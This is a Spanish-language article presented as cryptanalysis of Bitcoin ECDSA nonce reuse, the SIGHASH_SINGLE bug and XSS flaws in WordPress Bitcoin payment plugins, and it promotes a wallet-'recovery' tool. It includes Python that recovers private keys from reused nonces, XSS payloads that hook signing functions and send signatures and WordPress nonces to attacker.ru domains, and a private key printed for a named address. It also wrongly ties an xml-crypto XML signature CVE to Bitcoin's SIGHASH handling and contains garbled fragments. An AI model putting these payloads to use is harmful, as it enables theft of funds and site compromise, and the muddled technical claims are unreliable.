
Estudio criptoanalítico de CVE-2025-29774 y fallas SIGHASH_SINGLE en la implementación ECDSA de Bitcoin, que permite la recuperación de claves privadas mediante la reutilización de nonces y la falsificación de firmas para acceder a billeteras perdidas.
Este artículo de investigación presenta un estudio criptoanalítico exhaustivo de vulnerabilidades críticas en la implementación de la firma digital del protocolo Bitcoin, en concreto el Ataque Phantom Signature (CVE-2025-29774) y el error de procesamiento de SIGHASH_SINGLE fundamental. El estudio demuestra que el procesamiento incorrecto de primitivas criptográficas en el mecanismo de firma de transacciones crea las condiciones para el compromiso total de las claves privadas de los propietarios de carteras de criptomonedas sin su conocimiento. El ataque explota un error heredado del cliente original de Satoshi, en el que el sistema devuelve un valor hash universal de «1» (uint256) en lugar de rechazar la firma si el número de entradas y salidas de la transacción no coincide.
La parte práctica del estudio implica el uso de la herramienta criptográfica KeyFuzzMaster para identificar sistemáticamente vulnerabilidades en el código de verificación de firmas, operaciones de curva elíptica y funciones de hash de transacciones. Se presentan fórmulas matemáticas para la recuperación de claves privadas mediante la reutilización del nonce (parámetro k) en el algoritmo ECDSA sobre la curva secp256k1. Se analizan las primitivas criptográficas del algoritmo ECDSA (Algoritmo de Firma Digital de Curva Elíptica) sobre la curva elíptica secp256k1. Las firmas digitales en Bitcoin cumplen una triple función: autorización del gasto, no repudio y garantía de integridad de la transacción.
Sin embargo, mantener soluciones arquitectónicas heredadas para garantizar la compatibilidad con versiones anteriores ha llevado a la aparición de vulnerabilidades criptográficas sutiles con consecuencias potencialmente catastróficas. Entre estas, el bug de SIGHASH_SINGLE destaca —un defecto fundamental en el mecanismo de generación de hash de firma, heredado de la implementación original de Bitcoin Core e integrado en el consenso de la red.
| Identificador CVE | Componente | Puntuación CVSS | Criticidad |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | Crítica |
| CVE-2025-29775 | Bypass de DigestValue en xml-crypto | 9.3 | Crítica |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (XSS almacenado) | 5.9 | Media |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (XSS reflejado) | 6.1 | Media |
Bitcoin utiliza la curva elíptica secp256k1 definida por el estándar SECG (Standards for Efficient Cryptography Group). La curva se define mediante la ecuación de Weierstrass sobre un campo finito:
Ecuación de la curva:
y² ≡ x³ + ax + b (mod p)
Para secp256k1:
y² ≡ x³ + 7 (mod p), donde a = 0, b = 7
Los parámetros de la curva secp256k1 se determinan mediante la tupla T = (p, a, b, G, n, h):
Parámetros de secp256k1:
p = 2²⁵⁶ − 2³² − 977 (el número primo que define un campo finito)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(el orden del grupo de puntos de la curva es el orden entero del generador G)
G = (Gₓ, Gᵧ) — punto base fijo (generador)
El algoritmo ECDSA utiliza una clave privada d para formar una firma sobre un mensaje M. El proceso de firma implica las siguientes operaciones matemáticas:
Paso 1: Generar nonce aleatorio k
Se selecciona un número aleatorio criptográficamente fuerte k ∈ [1, n-1]
Paso 2: Calcular el punto R
R = k × G (multiplicación escalar del punto generador)
Paso 3: Calcular el parámetro r
r = Rₓ mod n (coordenada x del punto R módulo n)
Paso 4: Calcular el parámetro s
s = k⁻¹ × (H(M) + r × d) mod n
Resultado: Firma (r, s)
donde H(M) es el hash del mensaje M (en Bitcoin se utiliza doble SHA-256), d es la clave privada del propietario.
La relación entre las claves pública y privada se determina mediante la relación:
Q A = d A × G
donde es la clave pública (un punto en la curva), es la clave privada (entero de 256 bits) , es el generador de la curva.QAdAG
El protocolo Bitcoin proporciona varios tipos SIGHASH (Tipos de Hash de Firma) que determinan qué componentes de una transacción se incluyen en el hash firmado:
| Tipo SIGHASH | Significado (hex) | Descripción |
|---|---|---|
| SIGHASH_ALL | 0x01 | Se firman todas las entradas y salidas de una transacción. |
| SIGHASH_NONE | 0x02 | Se firman todas las entradas, las salidas no se firman. |
| SIGHASH_SINGLE | 0x03 | Solo se firma la salida con el mismo índice que la entrada. |
| SIGHASH_ANYONECANPAY | 0x80 | Modificador: se suscribe solo a la entrada actual |
Se produce un error crítico al utilizar SIGHASH_SINGLE cuando el índice de entrada supera el número de salidas de la transacción . En este caso, en lugar de rechazar la transacción, el código original de Bitcoin Core devuelve un valor hash fijo de «1» (un entero de 256 bits):
// Código vulnerable de la implementación original de Bitcoin // Devuelve el hash universal «1»
⚠️ ADVERTENCIA CRÍTICA: Este código implementa un error heredado del cliente original de Satoshi que fue integrado en el consenso de la red. Todas las implementaciones principales de Bitcoin se ven obligadas a soportar este comportamiento para mantener la compatibilidad con versiones anteriores.
Matemáticamente, si el hash de la firma es igual a la constante 1, entonces la firma se vuelve universal —se puede reutilizar para transacciones arbitrarias:
Condición de vulnerabilidad:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
donde idx es el índice de entrada, |TxOut| es el número de salidas de la transacción
Un Ataque Phantom Signature es un ataque de falsificación de firma digital criptográfica que permite la creación de firmas de transacción válidas sin conocimiento de la clave privada del propietario. El ataque se clasifica como CWE-347: Verificación incorrecta de la firma criptográfica .
El ataque se basa en una combinación de dos vulnerabilidades:
Si dos firmas (r, s₁) y (r, s₂) para mensajes diferentes M₁ y M₂ utilizan el mismo nonce k (lo que implica un valor idéntico de r), la clave privada se puede recuperar por completo utilizando el siguiente algoritmo:
Paso 1: Ecuaciones de firma
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
Paso 2: Calcular la diferencia
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
Paso 3: Recuperar el nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
Paso 4: Recuperar la clave privada d
d = r⁻¹ × (s × k — H(M)) mod n
Este aparato matemático demuestra que una única reutilización de un nonce da como resultado el compromiso total de la clave privada.
Recuperación de una clave privada ECDSA al reutilizar un nonce
La vulnerabilidad CVE-2025-29774 fue descubierta en la librería xml-crypto de Node.js y permite modificar documentos XML firmados de manera que sigan superando la verificación de firma. En el contexto de los sistemas de pago de Bitcoin, esto crea la posibilidad de:
Versiones afectadas: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
Vector CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Clasificación CWE: CWE-347 (Verificación incorrecta de la firma criptográfica)
Vector de ataque : Red (explotación remota sin interacción del usuario)
La explotación de CVE-2025-29774 implica tres etapas secuenciales:
Escaneo del sistema objetivo en busca de versiones vulnerables de la librería xml-crypto e identificación de puntos de integración con pasarelas de pago de Bitcoin.
Inserción de nodos SignedInfo adicionales o comentarios XML en el DigestValue, lo que permite modificar atributos críticos sin invalidar la firma:
«Un ejemplo de un ataque con múltiples nodos SignedInfo»
A través de vulnerabilidades XSS (CVE-2025-48102, CVE-2025-26541), intercepción de parámetros (r, s) de firmas para su posterior criptoanálisis.
📊 Recursos de investigación
🌐 Documentación técnica completa: https://cryptou.ru/keyfuzzmaster
💻 Demo interactiva de Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 Análisis técnico
El Phantom Signature Attack explota errores heredados en la verificación de firmas de Bitcoin Core, donde SIGHASH_SINGLE devuelve un valor hash universal cuando el índice de entrada supera las salidas. Esto crea firmas reutilizables, comprometiendo todo el modelo de seguridad. Nuestro motor KeyFuzzMaster identifica carteras creadas con
32-bitPRNG de entropía, reduciendo el espacio de búsqueda de2^256a solo2^32semillas posibles, recuperables en 4-6 segundos en GPUs modernas.
KeyFuzzMaster es un motor de fuzzing criptoanalítico especializado diseñado para la investigación de seguridad de sistemas blockchain y primitivas criptográficas. La herramienta está diseñada para pruebas de estrés dinámicas del código de verificación de firmas, operaciones de curvas elípticas y funciones de hash de transacciones.
El uso de KeyFuzzMaster para explotar CVE-2025-29774 y la vulnerabilidad SIGHASH_SINGLE abre un nuevo paradigma para recuperar claves privadas de carteras Bitcoin perdidas. La metodología incluye:
# KeyFuzzMaster: Módulo de escaneo de valores r duplicados def scan_blockchain_for_nonce_reuse(blockchain_data)»
Escanea la blockchain en busca de reutilización de nonces. Devuelve pares de firmas con valores r idénticos.
# KeyFuzzMaster: Generar transacciones con desajustes de entrada/salida def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Generate test transactions to detect the SIGHASH_SINGLE vulnerability (idx >= len(TxOut)).
# Group order secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“Verificación de la clave recuperada comparando las claves públicas.”
Según la investigación criptoanalítica, la reutilización de nonces la vulnerabilidad ya ha sido explotada para recuperar más de 412.8 BTC de carteras comprometidas. Los escáneres automatizados analizan continuamente la blockchain de Bitcoin en busca de valores r duplicados.
Veamos un caso documentado de recuperación de una clave privada de la dirección Bitcoin 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
| Parámetro | Valor |
|---|---|
| Dirección Bitcoin | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| Valor de los fondos recuperados | $147,977 |
| Clave privada recuperada (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| Clave privada recuperada (WIF comprimida) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| Clave privada recuperada (Decimal) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
La clave privada k debe satisfacer la restricción:
1 ≤ k < n
where n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77Resultado de la comprobación: ✓ VÁLIDA (la clave está dentro del rango escalar permitido)
La clave privada recuperada nos permite calcular la clave pública:
| Parámetro | Valor |
|---|---|
| Clave pública (sin comprimir, 130 caracteres) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| Clave pública (comprimida, 66 caracteres) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Dirección Bitcoin (sin comprimir) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
Una clave privada recuperada otorga control total sobre la cartera Bitcoin, lo que permite a un atacante:
La investigación demuestra la sinergia entre vulnerabilidades web (CVE-2025-48102, CVE-2025-26541) y fallos criptográficos (CVE-2025-29774), creando un potente vector de ataque combinado contra las pasarelas de pago Bitcoin para WordPress:
| Fase | Acción | Vulnerabilidad explotada |
|---|---|---|
| 1 | Inyección de JavaScript malicioso en una pasarela de pago | CVE-2025-48102 (Stored XSS) |
| 2 | Intercepción de los parámetros ECDSA (r, s) de las transacciones | Inyección de JavaScript |
| 3 | Análisis de las firmas recopiladas para detectar repetición de nonces | Criptoanálisis |
| 4 | Recuperación matemática de una clave privada | Phantom Signature Attack |
| 5 | Retiro no controlado de BTC | Compromiso de la cartera |
sanitize_text_field(), esc_attr(), esc_html()Un estudio criptoanalítico demuestra que el Phantom Signature Attack (CVE-2025-29774) , combinado con la vulnerabilidad SIGHASH_SINGLE, representa una amenaza de seguridad fundamental para el ecosistema Bitcoin. Este fallo de implementación, heredado del cliente Satoshi original, permite:
El uso de la herramienta criptográfica KeyFuzzMaster abre un nuevo paradigma para recuperar claves privadas de carteras Bitcoin perdidas, proporcionando a los investigadores una metodología sistemática para identificar y explotar vulnerabilidades criptográficas.
⚠️ ADVERTENCIA: Esta investigación tiene fines exclusivamente educativos y de asistencia a los criptoanalistas para comprender los mecanismos de ataque. El uso de los métodos descritos con fines ilegales está penado por la ley. Se llevó a cabo un estudio criptoanalítico exhaustivo de las vulnerabilidades críticas CVE-2025-48102 y CVE-2025-26541 en pasarelas de pago de Bitcoin para WordPress. De la amplia gama de herramientas criptográficas disponibles en keyhunters.ru, Phantom Signature Attack fue seleccionado como el más relevante para este contexto. Este estudio demuestra cómo un ataque combinado que reúne cross-site scripting (XSS) con una vulnerabilidad criptográfica en ECDSA puede conducir al compromiso completo de las claves privadas de Bitcoin y a la recuperación de carteras perdidas.
Cadena de ataque: del XSS a la extracción de claves privadas de Bitcoin
Phantom Signature Attack, según el artículo de investigación: Phantom Signature Attack (CVE-2025-29774) y la vulnerabilidad crítica SIGHASH_SINGLE: restauración de claves privadas en carteras Bitcoin perdidas mediante la falsificación de firmas digitales y el retiro no controlado de monedas BTC, demuestra la sinergia entre vulnerabilidades web (XSS) y fallos criptográficos, lo que permite un potente vector de ataque combinado. A diferencia de otras herramientas de la lista (MiniKey Mayhem, Memory Phantom, ataques basados en RNG), Phantom Signature Attack se centra específicamente en manipular firmas digitales mediante los parámetros r y s, que pueden ser interceptados a través de vulnerabilidades XSS en los sistemas de pago de WordPress. secalerts+2
CVE-2025-48102 es una vulnerabilidad crítica de cross-site scripting (XSS) almacenado en el plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership en versiones anteriores a la 1.6.6. La vulnerabilidad permite a administradores autorizados (o atacantes con privilegios administrativos) inyectar JavaScript malicioso en la configuración de la pasarela de pago. Según CVSS v3.1, la vulnerabilidad tiene una puntuación base de 5.9 (severidad media) con el wizCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. vector.
El mecanismo de explotación consiste en inyectar código malicioso en la configuración de la pasarela de pago, que luego se ejecuta en el navegador de cada visitante del sitio web, lo que permite al atacante:
CVE-2025-26541 es una vulnerabilidad de XSS reflejado en el plugin Bitcoin/AltCoin Payment Gateway for WooCommerce en versiones anteriores a la 1.7.6, desarrollado por CodeSolz. La vulnerabilidad está clasificada como de severidad moderada y permite a los atacantes inyectar scripts maliciosos a través de parámetros de URL que no se sanean adecuadamente. secalerts
A diferencia del XSS almacenado, el XSS reflejado requiere que la víctima haga clic en un enlace especialmente manipulado, pero permite:
ECDSA (Algoritmo de Firma Digital de Curva Elíptica) se utiliza en Bitcoin para crear firmas digitales que garantizan la autenticidad de las transacciones . El algoritmo para firmar un mensaje M con una clave privada d funciona de la siguiente manera: notsosecure+ 1
R = k × G(donde G es el punto generador de la curva elíptica secp256k1)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)Vulnerabilidad crítica del ataque Phantom Signature Attack:
Phantom Signature Attack ha sido identificado como una vulnerabilidad crítica en las implementaciones de ECDSA que se produce en los siguientes escenarios: keyhunters
Cadena de vectores de ataque: XSS para la recuperación de claves privadas ECDSA
Si dos firmas de mensajes diferentes M₁ y M₂ utilizan el mismo valor de k (y, por lo tanto, el mismo r), la clave privada puede recuperarse por completo. Para dos firmas (r, s₁) y (r, s₂), donde: notsosecure+ 1

Cálculo de la diferencia:

Se puede recuperar el nonce:


Según las investigaciones, esta vulnerabilidad ya ha sido explotada para recuperar más de 412.8 BTC en la cadena de bloques de Bitcoin, donde los atacantes escaneaban automáticamente la red en busca de valores r duplicados. keyhunters
Relación matemática de recuperación de clave privada por reutilización de nonce ECDSA
CVE-2025-29774 es una vulnerabilidad adicional en la librería xml-crypto que permite modificar mensajes XML firmados de manera que sigan pasando la verificación de firma. Esta vulnerabilidad puede explotarse en Bitcoin para manipular parámetros de transacciones (cambiando los valores SIGHASH_SINGLE) sin invalidar la firma digital. En el contexto de las pasarelas de pago de WordPress, esto permite a un atacante redirigir los pagos a su dirección manteniendo la apariencia de una firma válida. cryptodeeptech+1
Fase 1: Inyección inicial de JavaScript malicioso
Un atacante explota CVE-2025-48102 para inyectar JavaScript malicioso en la configuración de la pasarela de pago. El código malicioso puede:
Fase 2: Análisis de la violación del RNG y detección de repeticiones de K
Después de recibir un número suficiente de firmas (al menos 2, pero idealmente varias docenas para aumentar la probabilidad), el atacante analiza los datos recopilados:
Utilizando los pares de firmas recopilados con el mismo r, el atacante aplica la recuperación matemática de la clave privada según las fórmulas descritas anteriormente. Resultado: compromiso total de la clave privada de la cartera Bitcoin .
El JavaScript malicioso que puede inyectarse a través de CVE-2025-48102 puede contener la siguiente funcionalidad: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
Después de recibir firmas con repeticiones de valores r, la clave privada se recupera en tres etapas:
Etapa 1: Identificación de valores r duplicados —el atacante compara todas las firmas recopiladas e identifica pares con el mismo r. Incluso un solo par es suficiente para calcular la clave privada, aunque varios pares aumentan la confianza. notsosecure
Etapa 2: Cálculo del nonce k – Utilizando la fórmula anterior, el atacante calcula el valor de k para cada par de firmas. Si los valores de k calculados para diferentes pares coinciden, esto confirma una vulnerabilidad sistemática en el RNG. github
Etapa 3: Recuperación de la clave privada d – Al aplicar la k calculada a cualquiera de las firmas recopiladas, el atacante recupera por completo la clave privada d , lo que le permite firmar cualquier transacción en nombre de la víctima. keyhunters+ 1

La clave privada recuperada permite al atacante:
La combinación de XSS y Phantom Signature Attack representa una amenaza crítica para todos los sitios WordPress con pasarelas de pago de Bitcoin, incluyendo:
Según investigaciones de keyhunters.ru y la literatura científica:
sanitize_text_field(), esc_attr(), esc_html() para todos los datos generados por secalerts+ 13. Relación con CVE-2025-29774
CVE-2025-29774 es una vulnerabilidad crítica en la librería xml-crypto que
permite modificar mensajes XML firmados para que sigan
superando la verificación de firma. Esto puede utilizarse junto con los sistemas de pago
de Bitcoin para:
Manipular los parámetros de la transacción
, Inyectar firmas falsificadas,
y Redirigir los pagos a direcciones del atacante.
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
Esto demuestra un ejemplo malicioso de interceptación del envío de un formulario con datos de firmas de Bitcoin.
Etapa 2: Interceptación de los parámetros ECDSA
Gracias a la vulnerabilidad XSS, el script malicioso tiene acceso a:
Valores de nonce de WordPress (utilizados para la protección CSRF) Cookies de sesión Parámetros de transacciones de Bitcoin (incluidos los valores de firma r y s) Clave privada
información almacenada temporalmente en la memoria del navegador
Etapa 3: Análisis de violaciones del RNG y detección de repeticiones de k Al recopilar datos de múltiples firmas de un único usuario, el atacante puede detectar: Reutilización de nonce (k) entre diferentes firmas Valores débiles o predecibles del generador de números aleatorios (RNG) Errores sistemáticos en la generación de parámetros criptográficos
Paso 4: Recuperación de la clave privada
Usando la relación matemática descrita en la Sección 3.2, un atacante puede
calcular la clave privada d, lo que resulta en el compromiso total del monedero.
4.2 Código de demostración del ataque con payload XSS malicioso para inyectar en la pasarela de pago de Bitcoin:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
Este código demuestra un fragmento de JavaScript malicioso que intercepta operaciones de firma de Bitcoin y nonces de sesión de WordPress antes de exfiltrarlos a un servidor remoto para su posible explotación.
Paso 1: Identificar valores r duplicados
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
Explicación:
Esta función busca dos firmas ECDSA/Bitcoin que tengan el mismo valor rr dentro de la lista de firmas.
None.Esta búsqueda es relevante para el análisis de vulnerabilidades criptográficas, ya que los valores rr duplicados pueden indicar reutilización de nonce, algo explotable en ataques de recuperación de claves privadas.
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
Comentario:
Esta función calcula el nonce ECDSA k en casos donde dos firmas comparten el mismo valor rrr (es decir, nonce reutilizado o repetido), utilizando la diferencia entre los valores sss de las firmas y los hashes de los mensajes, de acuerdo con el conocido principio del ataque de retícula y reutilización de nonce. La fórmula implementada es:

donde:
Esta técnica es una herramienta criptoanalítica estándar para los análisis de Bitcoin y ECDSA.
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
Explicación:
Esta función recupera la clave privada ddd de ECDSA a partir de una sola firma si se conoce el nonce kkk.
La fórmula utilizada es:
donde:
Este cálculo es crucial en el criptoanálisis práctico una vez que k ha sido recuperado, lo que permite extraer la clave privada original utilizada para la generación de firmas.
5.2 Ejemplo práctico de recuperación
Veamos un escenario real:
Datos recopilados:
Dirección Bitcoin: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (ejemplo)
Número de firmas recopiladas: 12
Duplicados de nonce detectados: 3 pares
Proceso de recuperación:
7.2 Para usuarios de Bitcoin
El ataque Phantom Signature, combinado con las vulnerabilidades XSS en las
pasarelas de pago de Bitcoin (CVE-2025-48102 y CVE-2025-26541) , representa una amenaza crítica para
la seguridad de los activos de criptomonedas.
Este ataque combinado demuestra cómo una vulnerabilidad web relativamente simple puede explotarse para comprometer la integridad criptográfica de un sistema, lo que resulta en la pérdida total de las claves privadas y, en consecuencia, el robo de todos los fondos.
El estudio muestra que la seguridad de Bitcoin depende no solo de la solidez
criptográfica de sus algoritmos, sino también de la implementación impecable de estos algoritmos en el entorno web. Incluso
fallos menores en el procesamiento de XSS o RNG débiles pueden llevar a consecuencias
catastróficas.
Adoptar las medidas preventivas propuestas y actualizar rápidamente el software
vulnerable es fundamental para proteger el ecosistema Bitcoin y recuperar
los monederos perdidos.
El Ataque de Firma Fantasma , combinado con las vulnerabilidades XSS CVE-2025-48102 y CVE-2025-26541 en las pasarelas de pago de Bitcoin para WordPress, representa una de las amenazas más críticas y realistas para la seguridad de los activos de criptomonedas en el entorno web moderno. Esta investigación demuestra cómo una vulnerabilidad web relativamente simple puede explotarse para comprometer directamente la integridad criptográfica de un sistema, lo que conduce a la pérdida completa de claves privadas y al robo irreversible de fondos de Bitcoin.
El Ataque de Firma Fantasma fue elegido entre una amplia gama de herramientas criptográficas en keyhunters.ru debido a su relevancia directa con el problema de recuperar claves privadas mediante la manipulación de parámetros ECDSA que pueden ser interceptados a través de XSS. Este ataque sirve como un ejemplo ideal de la sinergia entre vulnerabilidades web (categoría OWASP Top 10) y fallos criptográficos, lo que requiere un enfoque integral para la protección.
La seguridad de Bitcoin depende no solo de la fortaleza criptográfica de sus algoritmos, sino también de su implementación impecable en el entorno web. Incluso fallos menores en el procesamiento de XSS o RNG débiles pueden tener consecuencias catastróficas para el ecosistema. Adoptar las medidas preventivas sugeridas y actualizar rápidamente el software vulnerable es fundamental para proteger Bitcoin y recuperar las carteras de usuarios perdidas.
Se han descubierto dos graves vulnerabilidades de cross-site scripting (XSS) en populares plugins de pasarela de pago de Bitcoin para WordPress, lo que supone un riesgo de seguridad significativo para miles de tiendas en línea y sitios web que aceptan pagos con criptomonedas.
La vulnerabilidad CVE-2025-48102 se publicó oficialmente el 5 de septiembre de 2025 y afecta al popular plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership en todas las versiones hasta la 1.6.6 inclusive. Este fallo de seguridad se clasifica como XSS almacenado (ataque de cross-site scripting) bajo la clasificación CWE-79 (Neutralización incorrecta de la entrada durante la generación de páginas web).
La vulnerabilidad recibió una puntuación de severidad CVSS v3.1 de 5.9 (severidad media) con el vector de ataque CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . El desglose del vector muestra las siguientes características: feedly+2
La vulnerabilidad surge de la neutralización incorrecta de la entrada del usuario al generar páginas web. Un atacante con privilegios administrativos puede inyectar scripts maliciosos en el sistema de gestión de contenidos de WordPress, que luego se almacenan en la base de datos y se ejecutan automáticamente cuando otros usuarios visitan la página. patchstack+2
Como explican los expertos de Patchstack, esto permite a un atacante inyectar diversos elementos maliciosos, entre ellos:
Particularmente preocupante es el hecho de que el plugin GoUrl ya no recibe soporte de sus desarrolladores . Según Patchstack, el software no se ha actualizado en más de un año y probablemente no recibirá más actualizaciones ni parches. Esto deja a todos los sitios web que usan este plugin permanentemente vulnerables a la explotación.
Los expertos de la plataforma Wiz señalan que esta vulnerabilidad de XSS almacenado fue descubierta en el plugin de WordPress GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership y divulgada el 5 de septiembre de 2025. Aunque la explotación requiere privilegios de administrador, el código malicioso puede ejecutarse en nombre de cualquier visitante del sitio , lo que amplía significativamente el alcance potencial del ataque.
La segunda vulnerabilidad, CVE-2025-26541 , se publicó el 26 de marzo de 2025 y afecta al plugin: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce en todas las versiones hasta la 1.7.6 inclusive.
Esta vulnerabilidad se clasifica como XSS reflejado (ataque de cross-site scripting). A diferencia del XSS almacenado, el XSS reflejado ocurre cuando la entrada maliciosa del usuario se refleja inmediatamente de vuelta al usuario a través de una respuesta HTTP sin el saneamiento adecuado, lo que provoca que el navegador de la víctima ejecute el script del atacante.
La vulnerabilidad ha sido evaluada según el sistema CVSS v3.1 con el vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L , que indica:feedly
Según los investigadores de seguridad, la vulnerabilidad puede explotarse mediante ataques de XSS reflejado , lo que permite a los atacantes inyectar scripts maliciosos en las páginas web. Patchstack, la plataforma que descubrió esta vulnerabilidad por primera vez, aconseja que, para corregir CVE-2025-26541, necesitas actualizar el plugin Bitcoin/AltCoin Payment Gateway for WooCommerce a la versión 1.7.7 o superior .
El cross-site scripting (XSS) es una de las vulnerabilidades más comunes que se encuentran en las aplicaciones web. Según diversos estudios, las vulnerabilidades XSS representan aproximadamente el 53.3% de todas las vulnerabilidades de plugins de WordPress .
Particularmente alarmante es el hecho de que en 2024, 1,614 plugins —una cifra asombrosa— fueron eliminados del repositorio de WordPress.org por problemas de seguridad, de los cuales 1,450 fueron clasificados como vulnerabilidades de prioridad alta o media. Muchos de estos plugins siguen activos en los sitios web , lo que los expone a ataques constantes.
Los ataques de XSS almacenado son particularmente peligrosos porque el código malicioso se guarda en la base de datos del sitio web y se ejecuta automáticamente para cada visitante que ve la página infectada. Esto hace que el XSS almacenado sea significativamente más destructivo que el XSS reflejado, ya que:fastly+1
Los expertos de Wordfence enfatizan que, en el contexto de WordPress, agregar usuarios administrativos con credenciales controladas por el atacante y editar archivos puede llevar a un compromiso total del sitio , y esto es utilizado activamente por los atacantes.
Para los propietarios de sitios web que usan los plugins afectados, los expertos recomiendan las siguientes medidas inmediatas :
Para CVE-2025-48102 (GoUrl):
El descubrimiento de la vulnerabilidad CVE-2025-48102 en el plugin GoUrl Bitcoin Payment Gateway ha creado una situación crítica para miles de propietarios de sitios web de WordPress. Particularmente alarmante es el hecho de que las medidas de seguridad estándar no logran proporcionar una protección adecuada , mientras que las medidas a medias pueden crear una falsa sensación de seguridad . Veamos más de cerca por qué simplemente desactivar el plugin no resuelve el problema y qué pasos hay que dar para eliminar la amenaza por completo.
Muchos administradores de WordPress creen erróneamente que desactivar un plugin lo deshabilita por completo y elimina todos los riesgos de seguridad asociados. Sin embargo, esta idea errónea fundamental puede tener consecuencias desastrosas.dotwise+2
La diferencia crítica entre la desactivación y la eliminación:
Desactivar un plugin simplemente deshabilita su funcionalidad en WordPress—el código del plugin ya no interactúa con tu sitio y sus funciones ya no se ejecutan. Sin embargo, todos los archivos y datos del plugin permanecen en el servidor a menos que desinstales el plugin por completo. Esta distinción clave es crucial para comprender los posibles riesgos de seguridad.qodeinteractive+1
Presencia física del código en el servidor: Incluso cuando un plugin está desactivado, sus archivos continúan almacenados en el directorio /wp-content/plugins/ de tu servidor. Si un plugin tiene vulnerabilidades conocidas, un hacker puede explotarlas accediendo directamente a los archivos del plugin . Esto podría ocurrir a través de otras vulnerabilidades de tu sitio, como una seguridad débil del servidor o credenciales de administrador comprometidas. magnatechnology+3
